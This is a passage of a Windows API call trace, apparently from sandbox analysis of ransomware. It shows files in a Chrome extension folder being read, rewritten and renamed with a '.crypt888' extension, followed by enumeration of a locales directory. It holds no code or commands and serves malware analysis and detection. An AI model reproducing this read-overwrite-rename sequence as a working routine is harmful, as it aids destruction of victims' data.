halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\icon_128.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0072.399] GetFileType (hFile=0x174) returned 0x1 [0072.399] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb00) returned 1 [0072.400] GetFileType (hFile=0x174) returned 0x1 [0072.400] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39ec0c | out: lpFileSizeHigh=0x39ec0c*=0x0) returned 0xd2c [0072.400] ReadFile (in: hFile=0x174, lpBuffer=0x26d657c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x39ebb8, lpOverlapped=0x0 | out: lpBuffer=0x26d657c*, lpNumberOfBytesRead=0x39ebb8*=0xd2c, lpOverlapped=0x0) returned 1 [0072.405] CloseHandle (hObject=0x174) returned 1 [0072.455] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\icon_128.png", nBufferLength=0x105, lpBuffer=0x39e5f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\icon_128.png", lpFilePart=0x0) returned 0x8a [0072.455] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39eaec) returned 1 [0072.455] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\icon_128.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\icon_128.png"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0072.456] GetFileType (hFile=0x174) returned 0x1 [0072.456] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eae8) returned 1 [0072.456] GetFileType (hFile=0x174) returned 0x1 [0072.458] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\icon_128.png", nBufferLength=0x105, lpBuffer=0x39e730, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\icon_128.png", lpFilePart=0x0) returned 0x8a [0072.458] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\icon_128.png.crypt888", nBufferLength=0x105, lpBuffer=0x39e730, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\icon_128.png.crypt888", lpFilePart=0x0) returned 0x93 [0072.458] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39eb90) returned 1 [0072.458] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\icon_128.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\icon_128.png"), fInfoLevelId=0x0, lpFileInformation=0x39ec0c | out: lpFileInformation=0x39ec0c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85b4d630, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85cca3f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xbc625c40, ftLastWriteTime.dwHighDateTime=0x1d46f95, nFileSizeHigh=0x0, nFileSizeLow=0xd30)) returned 1 [0072.458] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb8c) returned 1 [0072.458] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\icon_128.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\icon_128.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\icon_128.png.crypt888" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\icon_128.png.crypt888")) returned 1 [0072.459] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\icon_16.png", nBufferLength=0x105, lpBuffer=0x39e610, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\icon_16.png", lpFilePart=0x0) returned 0x89 [0072.459] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39eb04) returned 1 [0072.459] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\icon_16.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\icon_16.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0072.459] GetFileType (hFile=0x174) returned 0x1 [0072.459] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb00) returned 1 [0072.459] GetFileType (hFile=0x174) returned 0x1 [0072.459] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39ec0c | out: lpFileSizeHigh=0x39ec0c*=0x0) returned 0xa0 [0072.460] ReadFile (in: hFile=0x174, lpBuffer=0x2729e40, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x39ebb8, lpOverlapped=0x0 | out: lpBuffer=0x2729e40*, lpNumberOfBytesRead=0x39ebb8*=0xa0, lpOverlapped=0x0) returned 1 [0072.461] CloseHandle (hObject=0x174) returned 1 [0072.480] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\icon_16.png", nBufferLength=0x105, lpBuffer=0x39e5f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\icon_16.png", lpFilePart=0x0) returned 0x89 [0072.480] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39eaec) returned 1 [0072.480] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\icon_16.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\icon_16.png"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0072.481] GetFileType (hFile=0x174) returned 0x1 [0072.481] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eae8) returned 1 [0072.481] GetFileType (hFile=0x174) returned 0x1 [0072.482] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\icon_16.png", nBufferLength=0x105, lpBuffer=0x39e730, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\icon_16.png", lpFilePart=0x0) returned 0x89 [0072.483] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\icon_16.png.crypt888", nBufferLength=0x105, lpBuffer=0x39e730, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\icon_16.png.crypt888", lpFilePart=0x0) returned 0x92 [0072.483] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39eb90) returned 1 [0072.483] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\icon_16.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\icon_16.png"), fInfoLevelId=0x0, lpFileInformation=0x39ec0c | out: lpFileInformation=0x39ec0c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85b4d630, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85cca3f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xbc671f00, ftLastWriteTime.dwHighDateTime=0x1d46f95, nFileSizeHigh=0x0, nFileSizeLow=0xb0)) returned 1 [0072.483] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb8c) returned 1 [0072.483] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\icon_16.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\icon_16.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\icon_16.png.crypt888" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\icon_16.png.crypt888")) returned 1 [0072.484] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\main.html", nBufferLength=0x105, lpBuffer=0x39e610, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\main.html", lpFilePart=0x0) returned 0x87 [0072.484] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39eb04) returned 1 [0072.484] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\main.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\main.html"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0072.485] GetFileType (hFile=0x174) returned 0x1 [0072.485] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb00) returned 1 [0072.485] GetFileType (hFile=0x174) returned 0x1 [0072.485] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39ec0c | out: lpFileSizeHigh=0x39ec0c*=0x0) returned 0x5c [0072.485] ReadFile (in: hFile=0x174, lpBuffer=0x27795f0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x39ebb8, lpOverlapped=0x0 | out: lpBuffer=0x27795f0*, lpNumberOfBytesRead=0x39ebb8*=0x5c, lpOverlapped=0x0) returned 1 [0072.505] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\main.html", nBufferLength=0x105, lpBuffer=0x39e5f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\main.html", lpFilePart=0x0) returned 0x87 [0072.505] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39eaec) returned 1 [0072.505] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\main.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\main.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0072.506] GetFileType (hFile=0x174) returned 0x1 [0072.506] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eae8) returned 1 [0072.506] GetFileType (hFile=0x174) returned 0x1 [0072.506] WriteFile (in: hFile=0x174, lpBuffer=0x27c7740*, nNumberOfBytesToWrite=0x60, lpNumberOfBytesWritten=0x39eb7c, lpOverlapped=0x0 | out: lpBuffer=0x27c7740*, lpNumberOfBytesWritten=0x39eb7c*=0x60, lpOverlapped=0x0) returned 1 [0072.507] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\main.html", nBufferLength=0x105, lpBuffer=0x39e730, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\main.html", lpFilePart=0x0) returned 0x87 [0072.507] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\main.html.crypt888", nBufferLength=0x105, lpBuffer=0x39e730, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\main.html.crypt888", lpFilePart=0x0) returned 0x90 [0072.507] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39eb90) returned 1 [0072.508] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\main.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\main.html"), fInfoLevelId=0x0, lpFileInformation=0x39ec0c | out: lpFileInformation=0x39ec0c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85b4d630, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85b74730, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xbc698060, ftLastWriteTime.dwHighDateTime=0x1d46f95, nFileSizeHigh=0x0, nFileSizeLow=0x60)) returned 1 [0072.508] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb8c) returned 1 [0072.508] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\main.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\main.html"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\main.html.crypt888" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\main.html.crypt888")) returned 1 [0072.511] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\main.js", nBufferLength=0x105, lpBuffer=0x39e610, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\main.js", lpFilePart=0x0) returned 0x85 [0072.511] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39eb04) returned 1 [0072.512] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\main.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\main.js"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0072.513] GetFileType (hFile=0x174) returned 0x1 [0072.513] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb00) returned 1 [0072.513] GetFileType (hFile=0x174) returned 0x1 [0072.513] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39ec0c | out: lpFileSizeHigh=0x39ec0c*=0x0) returned 0x5f [0072.513] ReadFile (in: hFile=0x174, lpBuffer=0x27c8cd8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x39ebb8, lpOverlapped=0x0 | out: lpBuffer=0x27c8cd8*, lpNumberOfBytesRead=0x39ebb8*=0x5f, lpOverlapped=0x0) returned 1 [0072.537] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\main.js", nBufferLength=0x105, lpBuffer=0x39e5f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\main.js", lpFilePart=0x0) returned 0x85 [0072.537] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39eaec) returned 1 [0072.537] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\main.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\main.js"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0072.538] GetFileType (hFile=0x174) returned 0x1 [0072.538] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eae8) returned 1 [0072.538] GetFileType (hFile=0x174) returned 0x1 [0072.539] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\main.js", nBufferLength=0x105, lpBuffer=0x39e730, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\main.js", lpFilePart=0x0) returned 0x85 [0072.539] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\main.js.crypt888", nBufferLength=0x105, lpBuffer=0x39e730, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\main.js.crypt888", lpFilePart=0x0) returned 0x8e [0072.539] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39eb90) returned 1 [0072.540] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\main.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\main.js"), fInfoLevelId=0x0, lpFileInformation=0x39ec0c | out: lpFileInformation=0x39ec0c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85b998f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85b9b830, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xbc70a480, ftLastWriteTime.dwHighDateTime=0x1d46f95, nFileSizeHigh=0x0, nFileSizeLow=0x60)) returned 1 [0072.540] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb8c) returned 1 [0072.540] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\main.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\main.js"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\main.js.crypt888" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\main.js.crypt888")) returned 1 [0072.540] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebf0) returned 1 [0072.540] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales", nBufferLength=0x105, lpBuffer=0x39e6f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales", lpFilePart=0x0) returned 0x86 [0072.541] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\", nBufferLength=0x105, lpBuffer=0x39e6cc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\", lpFilePart=0x0) returned 0x87 [0072.541] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\*", lpFindFileData=0x39e918 | out: lpFindFileData=0x39e918) returned 0x59a768 [0072.551] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0072.551] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0072.551] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0072.551] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0072.551] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0072.552] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0072.552] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0072.552] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0072.552] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0072.552] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0072.552] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0072.552] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0072.552] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0072.552] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0072.552] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0072.552] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0072.552] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0072.552] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0072.552] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0072.552] FindNextFileW (in: hFindFile=0x59a768, 